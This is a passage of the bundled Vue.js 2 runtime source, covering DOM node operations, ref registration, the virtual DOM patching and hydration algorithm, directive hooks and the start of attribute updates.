node.parentNode\n  }\n\n  function nextSibling (node) {\n    return node.nextSibling\n  }\n\n  function tagName (node) {\n    return node.tagName\n  }\n\n  function setTextContent (node, text) {\n    node.textContent = text;\n  }\n\n  function setStyleScope (node, scopeId) {\n    node.setAttribute(scopeId, '');\n  }\n\n  var nodeOps = /*#__PURE__*/Object.freeze({\n    createElement: createElement$1,\n    createElementNS: createElementNS,\n    createTextNode: createTextNode,\n    createComment: createComment,\n    insertBefore: insertBefore,\n    removeChild: removeChild,\n    appendChild: appendChild,\n    parentNode: parentNode,\n    nextSibling: nextSibling,\n    tagName: tagName,\n    setTextContent: setTextContent,\n    setStyleScope: setStyleScope\n  });\n\n  /*  */\n\n  var ref = {\n    create: function create (_, vnode) {\n      registerRef(vnode);\n    },\n    update: function update (oldVnode, vnode) {\n      if (oldVnode.data.ref !== vnode.data.ref) {\n        registerRef(oldVnode, true);\n        registerRef(vnode);\n      }\n    },\n    destroy: function destroy (vnode) {\n      registerRef(vnode, true);\n    }\n  };\n\n  function registerRef (vnode, isRemoval) {\n    var key = vnode.data.ref;\n    if (!isDef(key)) { return }\n\n    var vm = vnode.context;\n    var ref = vnode.componentInstance || vnode.elm;\n    var refs = vm.$refs;\n    if (isRemoval) {\n      if (Array.isArray(refs[key])) {\n        remove(refs[key], ref);\n      } else if (refs[key] === ref) {\n        refs[key] = undefined;\n      }\n    } else {\n      if (vnode.data.refInFor) {\n        if (!Array.isArray(refs[key])) {\n          refs[key] = [ref];\n        } else if (refs[key].indexOf(ref) < 0) {\n          // $flow-disable-line\n          refs[key].push(ref);\n        }\n      } else {\n        refs[key] = ref;\n      }\n    }\n  }\n\n  /**\n   * Virtual DOM patching algorithm based on Snabbdom by\n   * Simon Friis Vindum (@paldepind)\n   * Licensed under the MIT License\n   * https://github.com/paldepind/snabbdom/blob/master/LICENSE\n   *\n   * modified by Evan You (@yyx990803)\n   *\n   * Not type-checking this because this file is perf-critical and the cost\n   * of making flow understand it is not worth it.\n   */\n\n  var emptyNode = new VNode('', {}, []);\n\n  var hooks = ['create', 'activate', 'update', 'remove', 'destroy'];\n\n  function sameVnode (a, b) {\n    return (\n      a.key === b.key && (\n        (\n          a.tag === b.tag &&\n          a.isComment === b.isComment &&\n          isDef(a.data) === isDef(b.data) &&\n          sameInputType(a, b)\n        ) || (\n          isTrue(a.isAsyncPlaceholder) &&\n          a.asyncFactory === b.asyncFactory &&\n          isUndef(b.asyncFactory.error)\n        )\n      )\n    )\n  }\n\n  function sameInputType (a, b) {\n    if (a.tag !== 'input') { return true }\n    var i;\n    var typeA = isDef(i = a.data) && isDef(i = i.attrs) && i.type;\n    var typeB = isDef(i = b.data) && isDef(i = i.attrs) && i.type;\n    return typeA === typeB || isTextInputType(typeA) && isTextInputType(typeB)\n  }\n\n  function createKeyToOldIdx (children, beginIdx, endIdx) {\n    var i, key;\n    var map = {};\n    for (i = beginIdx; i <= endIdx; ++i) {\n      key = children[i].key;\n      if (isDef(key)) { map[key] = i; }\n    }\n    return map\n  }\n\n  function createPatchFunction (backend) {\n    var i, j;\n    var cbs = {};\n\n    var modules = backend.modules;\n    var nodeOps = backend.nodeOps;\n\n    for (i = 0; i < hooks.length; ++i) {\n      cbs[hooks[i]] = [];\n      for (j = 0; j < modules.length; ++j) {\n        if (isDef(modules[j][hooks[i]])) {\n          cbs[hooks[i]].push(modules[j][hooks[i]]);\n        }\n      }\n    }\n\n    function emptyNodeAt (elm) {\n      return new VNode(nodeOps.tagName(elm).toLowerCase(), {}, [], undefined, elm)\n    }\n\n    function createRmCb (childElm, listeners) {\n      function remove$$1 () {\n        if (--remove$$1.listeners === 0) {\n          removeNode(childElm);\n        }\n      }\n      remove$$1.listeners = listeners;\n      return remove$$1\n    }\n\n    function removeNode (el) {\n      var parent = nodeOps.parentNode(el);\n      // element may have already been removed due to v-html / v-text\n      if (isDef(parent)) {\n        nodeOps.removeChild(parent, el);\n      }\n    }\n\n    function isUnknownElement$$1 (vnode, inVPre) {\n      return (\n        !inVPre &&\n        !vnode.ns &&\n        !(\n          config.ignoredElements.length &&\n          config.ignoredElements.some(function (ignore) {\n            return isRegExp(ignore)\n              ? ignore.test(vnode.tag)\n              : ignore === vnode.tag\n          })\n        ) &&\n        config.isUnknownElement(vnode.tag)\n      )\n    }\n\n    var creatingElmInVPre = 0;\n\n    function createElm (\n      vnode,\n      insertedVnodeQueue,\n      parentElm,\n      refElm,\n      nested,\n      ownerArray,\n      index\n    ) {\n      if (isDef(vnode.elm) && isDef(ownerArray)) {\n        // This vnode was used in a previous render!\n        // now it's used as a new node, overwriting its elm would cause\n        // potential patch errors down the road when it's used as an insertion\n        // reference node. Instead, we clone the node on-demand before creating\n        // associated DOM element for it.\n        vnode = ownerArray[index] = cloneVNode(vnode);\n      }\n\n      vnode.isRootInsert = !nested; // for transition enter check\n      if (createComponent(vnode, insertedVnodeQueue, parentElm, refElm)) {\n        return\n      }\n\n      var data = vnode.data;\n      var children = vnode.children;\n      var tag = vnode.tag;\n      if (isDef(tag)) {\n        {\n          if (data && data.pre) {\n            creatingElmInVPre++;\n          }\n          if (isUnknownElement$$1(vnode, creatingElmInVPre)) {\n            warn(\n              'Unknown custom element: <' + tag + '> - did you ' +\n              'register the component correctly? For recursive components, ' +\n              'make sure to provide the \"name\" option.',\n              vnode.context\n            );\n          }\n        }\n\n        vnode.elm = vnode.ns\n          ? nodeOps.createElementNS(vnode.ns, tag)\n          : nodeOps.createElement(tag, vnode);\n        setScope(vnode);\n\n        /* istanbul ignore if */\n        {\n          createChildren(vnode, children, insertedVnodeQueue);\n          if (isDef(data)) {\n            invokeCreateHooks(vnode, insertedVnodeQueue);\n          }\n          insert(parentElm, vnode.elm, refElm);\n        }\n\n        if (data && data.pre) {\n          creatingElmInVPre--;\n        }\n      } else if (isTrue(vnode.isComment)) {\n        vnode.elm = nodeOps.createComment(vnode.text);\n        insert(parentElm, vnode.elm, refElm);\n      } else {\n        vnode.elm = nodeOps.createTextNode(vnode.text);\n        insert(parentElm, vnode.elm, refElm);\n      }\n    }\n\n    function createComponent (vnode, insertedVnodeQueue, parentElm, refElm) {\n      var i = vnode.data;\n      if (isDef(i)) {\n        var isReactivated = isDef(vnode.componentInstance) && i.keepAlive;\n        if (isDef(i = i.hook) && isDef(i = i.init)) {\n          i(vnode, false /* hydrating */);\n        }\n        // after calling the init hook, if the vnode is a child component\n        // it should've created a child instance and mounted it. the child\n        // component also has set the placeholder vnode's elm.\n        // in that case we can just return the element and be done.\n        if (isDef(vnode.componentInstance)) {\n          initComponent(vnode, insertedVnodeQueue);\n          insert(parentElm, vnode.elm, refElm);\n          if (isTrue(isReactivated)) {\n            reactivateComponent(vnode, insertedVnodeQueue, parentElm, refElm);\n          }\n          return true\n        }\n      }\n    }\n\n    function initComponent (vnode, insertedVnodeQueue) {\n      if (isDef(vnode.data.pendingInsert)) {\n        insertedVnodeQueue.push.apply(insertedVnodeQueue, vnode.data.pendingInsert);\n        vnode.data.pendingInsert = null;\n      }\n      vnode.elm = vnode.componentInstance.$el;\n      if (isPatchable(vnode)) {\n        invokeCreateHooks(vnode, insertedVnodeQueue);\n        setScope(vnode);\n      } else {\n        // empty component root.\n        // skip all element-related modules except for ref (#3455)\n        registerRef(vnode);\n        // make sure to invoke the insert hook\n        insertedVnodeQueue.push(vnode);\n      }\n    }\n\n    function reactivateComponent (vnode, insertedVnodeQueue, parentElm, refElm) {\n      var i;\n      // hack for #4339: a reactivated component with inner transition\n      // does not trigger because the inner node's created hooks are not called\n      // again. It's not ideal to involve module-specific logic in here but\n      // there doesn't seem to be a better way to do it.\n      var innerNode = vnode;\n      while (innerNode.componentInstance) {\n        innerNode = innerNode.componentInstance._vnode;\n        if (isDef(i = innerNode.data) && isDef(i = i.transition)) {\n          for (i = 0; i < cbs.activate.length; ++i) {\n            cbs.activate[i](emptyNode, innerNode);\n          }\n          insertedVnodeQueue.push(innerNode);\n          break\n        }\n      }\n      // unlike a newly created component,\n      // a reactivated keep-alive component doesn't insert itself\n      insert(parentElm, vnode.elm, refElm);\n    }\n\n    function insert (parent, elm, ref$$1) {\n      if (isDef(parent)) {\n        if (isDef(ref$$1)) {\n          if (nodeOps.parentNode(ref$$1) === parent) {\n            nodeOps.insertBefore(parent, elm, ref$$1);\n          }\n        } else {\n          nodeOps.appendChild(parent, elm);\n        }\n      }\n    }\n\n    function createChildren (vnode, children, insertedVnodeQueue) {\n      if (Array.isArray(children)) {\n        {\n          checkDuplicateKeys(children);\n        }\n        for (var i = 0; i < children.length; ++i) {\n          createElm(children[i], insertedVnodeQueue, vnode.elm, null, true, children, i);\n        }\n      } else if (isPrimitive(vnode.text)) {\n        nodeOps.appendChild(vnode.elm, nodeOps.createTextNode(String(vnode.text)));\n      }\n    }\n\n    function isPatchable (vnode) {\n      while (vnode.componentInstance) {\n        vnode = vnode.componentInstance._vnode;\n      }\n      return isDef(vnode.tag)\n    }\n\n    function invokeCreateHooks (vnode, insertedVnodeQueue) {\n      for (var i$1 = 0; i$1 < cbs.create.length; ++i$1) {\n        cbs.create[i$1](emptyNode, vnode);\n      }\n      i = vnode.data.hook; // Reuse variable\n      if (isDef(i)) {\n        if (isDef(i.create)) { i.create(emptyNode, vnode); }\n        if (isDef(i.insert)) { insertedVnodeQueue.push(vnode); }\n      }\n    }\n\n    // set scope id attribute for scoped CSS.\n    // this is implemented as a special case to avoid the overhead\n    // of going through the normal attribute patching process.\n    function setScope (vnode) {\n      var i;\n      if (isDef(i = vnode.fnScopeId)) {\n        nodeOps.setStyleScope(vnode.elm, i);\n      } else {\n        var ancestor = vnode;\n        while (ancestor) {\n          if (isDef(i = ancestor.context) && isDef(i = i.$options._scopeId)) {\n            nodeOps.setStyleScope(vnode.elm, i);\n          }\n          ancestor = ancestor.parent;\n        }\n      }\n      // for slot content they should also get the scopeId from the host instance.\n      if (isDef(i = activeInstance) &&\n        i !== vnode.context &&\n        i !== vnode.fnContext &&\n        isDef(i = i.$options._scopeId)\n      ) {\n        nodeOps.setStyleScope(vnode.elm, i);\n      }\n    }\n\n    function addVnodes (parentElm, refElm, vnodes, startIdx, endIdx, insertedVnodeQueue) {\n      for (; startIdx <= endIdx; ++startIdx) {\n        createElm(vnodes[startIdx], insertedVnodeQueue, parentElm, refElm, false, vnodes, startIdx);\n      }\n    }\n\n    function invokeDestroyHook (vnode) {\n      var i, j;\n      var data = vnode.data;\n      if (isDef(data)) {\n        if (isDef(i = data.hook) && isDef(i = i.destroy)) { i(vnode); }\n        for (i = 0; i < cbs.destroy.length; ++i) { cbs.destroy[i](vnode); }\n      }\n      if (isDef(i = vnode.children)) {\n        for (j = 0; j < vnode.children.length; ++j) {\n          invokeDestroyHook(vnode.children[j]);\n        }\n      }\n    }\n\n    function removeVnodes (parentElm, vnodes, startIdx, endIdx) {\n      for (; startIdx <= endIdx; ++startIdx) {\n        var ch = vnodes[startIdx];\n        if (isDef(ch)) {\n          if (isDef(ch.tag)) {\n            removeAndInvokeRemoveHook(ch);\n            invokeDestroyHook(ch);\n          } else { // Text node\n            removeNode(ch.elm);\n          }\n        }\n      }\n    }\n\n    function removeAndInvokeRemoveHook (vnode, rm) {\n      if (isDef(rm) || isDef(vnode.data)) {\n        var i;\n        var listeners = cbs.remove.length + 1;\n        if (isDef(rm)) {\n          // we have a recursively passed down rm callback\n          // increase the listeners count\n          rm.listeners += listeners;\n        } else {\n          // directly removing\n          rm = createRmCb(vnode.elm, listeners);\n        }\n        // recursively invoke hooks on child component root node\n        if (isDef(i = vnode.componentInstance) && isDef(i = i._vnode) && isDef(i.data)) {\n          removeAndInvokeRemoveHook(i, rm);\n        }\n        for (i = 0; i < cbs.remove.length; ++i) {\n          cbs.remove[i](vnode, rm);\n        }\n        if (isDef(i = vnode.data.hook) && isDef(i = i.remove)) {\n          i(vnode, rm);\n        } else {\n          rm();\n        }\n      } else {\n        removeNode(vnode.elm);\n      }\n    }\n\n    function updateChildren (parentElm, oldCh, newCh, insertedVnodeQueue, removeOnly) {\n      var oldStartIdx = 0;\n      var newStartIdx = 0;\n      var oldEndIdx = oldCh.length - 1;\n      var oldStartVnode = oldCh[0];\n      var oldEndVnode = oldCh[oldEndIdx];\n      var newEndIdx = newCh.length - 1;\n      var newStartVnode = newCh[0];\n      var newEndVnode = newCh[newEndIdx];\n      var oldKeyToIdx, idxInOld, vnodeToMove, refElm;\n\n      // removeOnly is a special flag used only by <transition-group>\n      // to ensure removed elements stay in correct relative positions\n      // during leaving transitions\n      var canMove = !removeOnly;\n\n      {\n        checkDuplicateKeys(newCh);\n      }\n\n      while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {\n        if (isUndef(oldStartVnode)) {\n          oldStartVnode = oldCh[++oldStartIdx]; // Vnode has been moved left\n        } else if (isUndef(oldEndVnode)) {\n          oldEndVnode = oldCh[--oldEndIdx];\n        } else if (sameVnode(oldStartVnode, newStartVnode)) {\n          patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue, newCh, newStartIdx);\n          oldStartVnode = oldCh[++oldStartIdx];\n          newStartVnode = newCh[++newStartIdx];\n        } else if (sameVnode(oldEndVnode, newEndVnode)) {\n          patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue, newCh, newEndIdx);\n          oldEndVnode = oldCh[--oldEndIdx];\n          newEndVnode = newCh[--newEndIdx];\n        } else if (sameVnode(oldStartVnode, newEndVnode)) { // Vnode moved right\n          patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue, newCh, newEndIdx);\n          canMove && nodeOps.insertBefore(parentElm, oldStartVnode.elm, nodeOps.nextSibling(oldEndVnode.elm));\n          oldStartVnode = oldCh[++oldStartIdx];\n          newEndVnode = newCh[--newEndIdx];\n        } else if (sameVnode(oldEndVnode, newStartVnode)) { // Vnode moved left\n          patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue, newCh, newStartIdx);\n          canMove && nodeOps.insertBefore(parentElm, oldEndVnode.elm, oldStartVnode.elm);\n          oldEndVnode = oldCh[--oldEndIdx];\n          newStartVnode = newCh[++newStartIdx];\n        } else {\n          if (isUndef(oldKeyToIdx)) { oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx); }\n          idxInOld = isDef(newStartVnode.key)\n            ? oldKeyToIdx[newStartVnode.key]\n            : findIdxInOld(newStartVnode, oldCh, oldStartIdx, oldEndIdx);\n          if (isUndef(idxInOld)) { // New element\n            createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm, false, newCh, newStartIdx);\n          } else {\n            vnodeToMove = oldCh[idxInOld];\n            if (sameVnode(vnodeToMove, newStartVnode)) {\n              patchVnode(vnodeToMove, newStartVnode, insertedVnodeQueue, newCh, newStartIdx);\n              oldCh[idxInOld] = undefined;\n              canMove && nodeOps.insertBefore(parentElm, vnodeToMove.elm, oldStartVnode.elm);\n            } else {\n              // same key but different element. treat as new element\n              createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm, false, newCh, newStartIdx);\n            }\n          }\n          newStartVnode = newCh[++newStartIdx];\n        }\n      }\n      if (oldStartIdx > oldEndIdx) {\n        refElm = isUndef(newCh[newEndIdx + 1]) ? null : newCh[newEndIdx + 1].elm;\n        addVnodes(parentElm, refElm, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);\n      } else if (newStartIdx > newEndIdx) {\n        removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);\n      }\n    }\n\n    function checkDuplicateKeys (children) {\n      var seenKeys = {};\n      for (var i = 0; i < children.length; i++) {\n        var vnode = children[i];\n        var key = vnode.key;\n        if (isDef(key)) {\n          if (seenKeys[key]) {\n            warn(\n              (\"Duplicate keys detected: '\" + key + \"'. This may cause an update error.\"),\n              vnode.context\n            );\n          } else {\n            seenKeys[key] = true;\n          }\n        }\n      }\n    }\n\n    function findIdxInOld (node, oldCh, start, end) {\n      for (var i = start; i < end; i++) {\n        var c = oldCh[i];\n        if (isDef(c) && sameVnode(node, c)) { return i }\n      }\n    }\n\n    function patchVnode (\n      oldVnode,\n      vnode,\n      insertedVnodeQueue,\n      ownerArray,\n      index,\n      removeOnly\n    ) {\n      if (oldVnode === vnode) {\n        return\n      }\n\n      if (isDef(vnode.elm) && isDef(ownerArray)) {\n        // clone reused vnode\n        vnode = ownerArray[index] = cloneVNode(vnode);\n      }\n\n      var elm = vnode.elm = oldVnode.elm;\n\n      if (isTrue(oldVnode.isAsyncPlaceholder)) {\n        if (isDef(vnode.asyncFactory.resolved)) {\n          hydrate(oldVnode.elm, vnode, insertedVnodeQueue);\n        } else {\n          vnode.isAsyncPlaceholder = true;\n        }\n        return\n      }\n\n      // reuse element for static trees.\n      // note we only do this if the vnode is cloned -\n      // if the new node is not cloned it means the render functions have been\n      // reset by the hot-reload-api and we need to do a proper re-render.\n      if (isTrue(vnode.isStatic) &&\n        isTrue(oldVnode.isStatic) &&\n        vnode.key === oldVnode.key &&\n        (isTrue(vnode.isCloned) || isTrue(vnode.isOnce))\n      ) {\n        vnode.componentInstance = oldVnode.componentInstance;\n        return\n      }\n\n      var i;\n      var data = vnode.data;\n      if (isDef(data) && isDef(i = data.hook) && isDef(i = i.prepatch)) {\n        i(oldVnode, vnode);\n      }\n\n      var oldCh = oldVnode.children;\n      var ch = vnode.children;\n      if (isDef(data) && isPatchable(vnode)) {\n        for (i = 0; i < cbs.update.length; ++i) { cbs.update[i](oldVnode, vnode); }\n        if (isDef(i = data.hook) && isDef(i = i.update)) { i(oldVnode, vnode); }\n      }\n      if (isUndef(vnode.text)) {\n        if (isDef(oldCh) && isDef(ch)) {\n          if (oldCh !== ch) { updateChildren(elm, oldCh, ch, insertedVnodeQueue, removeOnly); }\n        } else if (isDef(ch)) {\n          {\n            checkDuplicateKeys(ch);\n          }\n          if (isDef(oldVnode.text)) { nodeOps.setTextContent(elm, ''); }\n          addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);\n        } else if (isDef(oldCh)) {\n          removeVnodes(elm, oldCh, 0, oldCh.length - 1);\n        } else if (isDef(oldVnode.text)) {\n          nodeOps.setTextContent(elm, '');\n        }\n      } else if (oldVnode.text !== vnode.text) {\n        nodeOps.setTextContent(elm, vnode.text);\n      }\n      if (isDef(data)) {\n        if (isDef(i = data.hook) && isDef(i = i.postpatch)) { i(oldVnode, vnode); }\n      }\n    }\n\n    function invokeInsertHook (vnode, queue, initial) {\n      // delay insert hooks for component root nodes, invoke them after the\n      // element is really inserted\n      if (isTrue(initial) && isDef(vnode.parent)) {\n        vnode.parent.data.pendingInsert = queue;\n      } else {\n        for (var i = 0; i < queue.length; ++i) {\n          queue[i].data.hook.insert(queue[i]);\n        }\n      }\n    }\n\n    var hydrationBailed = false;\n    // list of modules that can skip create hook during hydration because they\n    // are already rendered on the client or has no need for initialization\n    // Note: style is excluded because it relies on initial clone for future\n    // deep updates (#7063).\n    var isRenderedModule = makeMap('attrs,class,staticClass,staticStyle,key');\n\n    // Note: this is a browser-only function so we can assume elms are DOM nodes.\n    function hydrate (elm, vnode, insertedVnodeQueue, inVPre) {\n      var i;\n      var tag = vnode.tag;\n      var data = vnode.data;\n      var children = vnode.children;\n      inVPre = inVPre || (data && data.pre);\n      vnode.elm = elm;\n\n      if (isTrue(vnode.isComment) && isDef(vnode.asyncFactory)) {\n        vnode.isAsyncPlaceholder = true;\n        return true\n      }\n      // assert node match\n      {\n        if (!assertNodeMatch(elm, vnode, inVPre)) {\n          return false\n        }\n      }\n      if (isDef(data)) {\n        if (isDef(i = data.hook) && isDef(i = i.init)) { i(vnode, true /* hydrating */); }\n        if (isDef(i = vnode.componentInstance)) {\n          // child component. it should have hydrated its own tree.\n          initComponent(vnode, insertedVnodeQueue);\n          return true\n        }\n      }\n      if (isDef(tag)) {\n        if (isDef(children)) {\n          // empty element, allow client to pick up and populate children\n          if (!elm.hasChildNodes()) {\n            createChildren(vnode, children, insertedVnodeQueue);\n          } else {\n            // v-html and domProps: innerHTML\n            if (isDef(i = data) && isDef(i = i.domProps) && isDef(i = i.innerHTML)) {\n              if (i !== elm.innerHTML) {\n                /* istanbul ignore if */\n                if (typeof console !== 'undefined' &&\n                  !hydrationBailed\n                ) {\n                  hydrationBailed = true;\n                  console.warn('Parent: ', elm);\n                  console.warn('server innerHTML: ', i);\n                  console.warn('client innerHTML: ', elm.innerHTML);\n                }\n                return false\n              }\n            } else {\n              // iterate and compare children lists\n              var childrenMatch = true;\n              var childNode = elm.firstChild;\n              for (var i$1 = 0; i$1 < children.length; i$1++) {\n                if (!childNode || !hydrate(childNode, children[i$1], insertedVnodeQueue, inVPre)) {\n                  childrenMatch = false;\n                  break\n                }\n                childNode = childNode.nextSibling;\n              }\n              // if childNode is not null, it means the actual childNodes list is\n              // longer than the virtual children list.\n              if (!childrenMatch || childNode) {\n                /* istanbul ignore if */\n                if (typeof console !== 'undefined' &&\n                  !hydrationBailed\n                ) {\n                  hydrationBailed = true;\n                  console.warn('Parent: ', elm);\n                  console.warn('Mismatching childNodes vs. VNodes: ', elm.childNodes, children);\n                }\n                return false\n              }\n            }\n          }\n        }\n        if (isDef(data)) {\n          var fullInvoke = false;\n          for (var key in data) {\n            if (!isRenderedModule(key)) {\n              fullInvoke = true;\n              invokeCreateHooks(vnode, insertedVnodeQueue);\n              break\n            }\n          }\n          if (!fullInvoke && data['class']) {\n            // ensure collecting deps for deep class bindings for future updates\n            traverse(data['class']);\n          }\n        }\n      } else if (elm.data !== vnode.text) {\n        elm.data = vnode.text;\n      }\n      return true\n    }\n\n    function assertNodeMatch (node, vnode, inVPre) {\n      if (isDef(vnode.tag)) {\n        return vnode.tag.indexOf('vue-component') === 0 || (\n          !isUnknownElement$$1(vnode, inVPre) &&\n          vnode.tag.toLowerCase() === (node.tagName && node.tagName.toLowerCase())\n        )\n      } else {\n        return node.nodeType === (vnode.isComment ? 8 : 3)\n      }\n    }\n\n    return function patch (oldVnode, vnode, hydrating, removeOnly) {\n      if (isUndef(vnode)) {\n        if (isDef(oldVnode)) { invokeDestroyHook(oldVnode); }\n        return\n      }\n\n      var isInitialPatch = false;\n      var insertedVnodeQueue = [];\n\n      if (isUndef(oldVnode)) {\n        // empty mount (likely as component), create new root element\n        isInitialPatch = true;\n        createElm(vnode, insertedVnodeQueue);\n      } else {\n        var isRealElement = isDef(oldVnode.nodeType);\n        if (!isRealElement && sameVnode(oldVnode, vnode)) {\n          // patch existing root node\n          patchVnode(oldVnode, vnode, insertedVnodeQueue, null, null, removeOnly);\n        } else {\n          if (isRealElement) {\n            // mounting to a real element\n            // check if this is server-rendered content and if we can perform\n            // a successful hydration.\n            if (oldVnode.nodeType === 1 && oldVnode.hasAttribute(SSR_ATTR)) {\n              oldVnode.removeAttribute(SSR_ATTR);\n              hydrating = true;\n            }\n            if (isTrue(hydrating)) {\n              if (hydrate(oldVnode, vnode, insertedVnodeQueue)) {\n                invokeInsertHook(vnode, insertedVnodeQueue, true);\n                return oldVnode\n              } else {\n                warn(\n                  'The client-side rendered virtual DOM tree is not matching ' +\n                  'server-rendered content. This is likely caused by incorrect ' +\n                  'HTML markup, for example nesting block-level elements inside ' +\n                  '<p>, or missing <tbody>. Bailing hydration and performing ' +\n                  'full client-side render.'\n                );\n              }\n            }\n            // either not server-rendered, or hydration failed.\n            // create an empty node and replace it\n            oldVnode = emptyNodeAt(oldVnode);\n          }\n\n          // replacing existing element\n          var oldElm = oldVnode.elm;\n          var parentElm = nodeOps.parentNode(oldElm);\n\n          // create new node\n          createElm(\n            vnode,\n            insertedVnodeQueue,\n            // extremely rare edge case: do not insert if old element is in a\n            // leaving transition. Only happens when combining transition +\n            // keep-alive + HOCs. (#4590)\n            oldElm._leaveCb ? null : parentElm,\n            nodeOps.nextSibling(oldElm)\n          );\n\n          // update parent placeholder node element, recursively\n          if (isDef(vnode.parent)) {\n            var ancestor = vnode.parent;\n            var patchable = isPatchable(vnode);\n            while (ancestor) {\n              for (var i = 0; i < cbs.destroy.length; ++i) {\n                cbs.destroy[i](ancestor);\n              }\n              ancestor.elm = vnode.elm;\n              if (patchable) {\n                for (var i$1 = 0; i$1 < cbs.create.length; ++i$1) {\n                  cbs.create[i$1](emptyNode, ancestor);\n                }\n                // #6513\n                // invoke insert hooks that may have been merged by create hooks.\n                // e.g. for directives that uses the \"inserted\" hook.\n                var insert = ancestor.data.hook.insert;\n                if (insert.merged) {\n                  // start at index 1 to avoid re-invoking component mounted hook\n                  for (var i$2 = 1; i$2 < insert.fns.length; i$2++) {\n                    insert.fns[i$2]();\n                  }\n                }\n              } else {\n                registerRef(ancestor);\n              }\n              ancestor = ancestor.parent;\n            }\n          }\n\n          // destroy old node\n          if (isDef(parentElm)) {\n            removeVnodes(parentElm, [oldVnode], 0, 0);\n          } else if (isDef(oldVnode.tag)) {\n            invokeDestroyHook(oldVnode);\n          }\n        }\n      }\n\n      invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);\n      return vnode.elm\n    }\n  }\n\n  /*  */\n\n  var directives = {\n    create: updateDirectives,\n    update: updateDirectives,\n    destroy: function unbindDirectives (vnode) {\n      updateDirectives(vnode, emptyNode);\n    }\n  };\n\n  function updateDirectives (oldVnode, vnode) {\n    if (oldVnode.data.directives || vnode.data.directives) {\n      _update(oldVnode, vnode);\n    }\n  }\n\n  function _update (oldVnode, vnode) {\n    var isCreate = oldVnode === emptyNode;\n    var isDestroy = vnode === emptyNode;\n    var oldDirs = normalizeDirectives$1(oldVnode.data.directives, oldVnode.context);\n    var newDirs = normalizeDirectives$1(vnode.data.directives, vnode.context);\n\n    var dirsWithInsert = [];\n    var dirsWithPostpatch = [];\n\n    var key, oldDir, dir;\n    for (key in newDirs) {\n      oldDir = oldDirs[key];\n      dir = newDirs[key];\n      if (!oldDir) {\n        // new directive, bind\n        callHook$1(dir, 'bind', vnode, oldVnode);\n        if (dir.def && dir.def.inserted) {\n          dirsWithInsert.push(dir);\n        }\n      } else {\n        // existing directive, update\n        dir.oldValue = oldDir.value;\n        callHook$1(dir, 'update', vnode, oldVnode);\n        if (dir.def && dir.def.componentUpdated) {\n          dirsWithPostpatch.push(dir);\n        }\n      }\n    }\n\n    if (dirsWithInsert.length) {\n      var callInsert = function () {\n        for (var i = 0; i < dirsWithInsert.length; i++) {\n          callHook$1(dirsWithInsert[i], 'inserted', vnode, oldVnode);\n        }\n      };\n      if (isCreate) {\n        mergeVNodeHook(vnode, 'insert', callInsert);\n      } else {\n        callInsert();\n      }\n    }\n\n    if (dirsWithPostpatch.length) {\n      mergeVNodeHook(vnode, 'postpatch', function () {\n        for (var i = 0; i < dirsWithPostpatch.length; i++) {\n          callHook$1(dirsWithPostpatch[i], 'componentUpdated', vnode, oldVnode);\n        }\n      });\n    }\n\n    if (!isCreate) {\n      for (key in oldDirs) {\n        if (!newDirs[key]) {\n          // no longer present, unbind\n          callHook$1(oldDirs[key], 'unbind', oldVnode, oldVnode, isDestroy);\n        }\n      }\n    }\n  }\n\n  var emptyModifiers = Object.create(null);\n\n  function normalizeDirectives$1 (\n    dirs,\n    vm\n  ) {\n    var res = Object.create(null);\n    if (!dirs) {\n      // $flow-disable-line\n      return res\n    }\n    var i, dir;\n    for (i = 0; i < dirs.length; i++) {\n      dir = dirs[i];\n      if (!dir.modifiers) {\n        // $flow-disable-line\n        dir.modifiers = emptyModifiers;\n      }\n      res[getRawDirName(dir)] = dir;\n      dir.def = resolveAsset(vm.$options, 'directives', dir.name, true);\n    }\n    // $flow-disable-line\n    return res\n  }\n\n  function getRawDirName (dir) {\n    return dir.rawName || ((dir.name) + \".\" + (Object.keys(dir.modifiers || {}).join('.')))\n  }\n\n  function callHook$1 (dir, hook, vnode, oldVnode, isDestroy) {\n    var fn = dir.def && dir.def[hook];\n    if (fn) {\n      try {\n        fn(vnode.elm, dir, vnode, oldVnode, isDestroy);\n      } catch (e) {\n        handleError(e, vnode.context, (\"directive \" + (dir.name) + \" \" + hook + \" hook\"));\n      }\n    }\n  }\n\n  var baseModules = [\n    ref,\n    directives\n  ];\n\n  /*  */\n\n  function updateAttrs (oldVnode, vnode) {\n    var opts = vnode.componentOptions;\n    if (isDef(opts) && opts.Ctor.options.inheritAttrs === false) {\n      return\n    }\n    if (isUndef(oldVnode.data.attrs) && isUndef(vnode.data.attrs)) {\n      return\n    }\n    var key, cur, old;\n    var elm = vnode.elm;\n    var oldAttrs = oldVnode.data.attrs || {};\n    var attrs = vnode.data.attrs || {};\n    // clone observed objects, as the user probably wants to mutate it\n    if (isDef(attrs.__ob__)) {\n      attrs = vnode.data.attrs = extend({}, attrs);\n    }\n\n    for (key in attrs) {\n      cur = attrs[key];\n      old = oldAttrs[key];\n      if (old !== cur) {\n        setAttr(elm, key, cur);\n      }\n    }\n    // #4391: in IE9, setting type can reset value for input[type=radio]\n    // #6666: IE/Edge forces progress value down to 1 before setting a max\n    /* istanbul ignore if */\n    if ((isIE || isEdge) && attrs.value !== oldAttrs.value) {\n      setAttr(elm, 'value', attrs.value);\n    }\n    for (key in oldAttrs) {\n      if (isUndef(attrs[key])) {\n        if (isXlink(key)) {\n          elm.removeAttributeNS(xlinkNS, getXlinkProp(key));\n        } else if (!isEnumeratedAttr(key)) {\n          elm.removeAttribute(key);\n        }\n      }\n    }\n  }\n\n  function setAttr (el, key, value) {\n    if (el.tagName.indexOf('-') > -1) {\n      baseSetAttr(el, key, value);\n    } else if (isBooleanAttr(key)) {\n      // set attribute for blank value\n      // e.g. <option disabled>Select one</option>\n      if (isFalsyAttrValue(value)) {\n        el.removeAttribute(key);\n      } else {\n        // technically allowfullscreen is a boolean attribute for <iframe>,\n        // but Flash expects a value of \"true\" when used on <embed> tag\n        value = key === 'allowfullscreen' && el.tagName === 'EMBED'\n          